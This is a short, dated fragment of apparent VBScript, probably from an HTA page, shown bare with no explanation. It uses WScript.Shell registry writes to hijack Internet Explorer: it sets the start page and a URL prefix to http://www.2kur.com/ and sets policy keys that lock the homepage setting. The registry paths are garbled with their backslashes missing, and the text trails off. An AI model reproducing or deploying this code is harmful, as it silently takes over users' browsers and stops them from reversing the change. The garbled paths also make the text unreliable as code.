2009-06-30
self.MoveTo 0, 0 Set shell = CreateObject("WScript.Shell") shell.regwrite "HKLMSOFTWAREMicrosoftWindowsCurrentVersionURLPrefixesmirc","http://www.2kur.com/","REG_SZ" shell.regwrite "HKLMSoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage","00000001","REG_DWORD" shell.regwrite "HKCUSoftwarePoliciesMicrosoftInternet ExplorerControl PanelHomePage","00000001","REG_DWORD" shell.regwrite "HKCUSOFTWAREMicrosoftInternet ExplorerMainStart Page", "http://www.2kur.com/","REG_SZ" ...
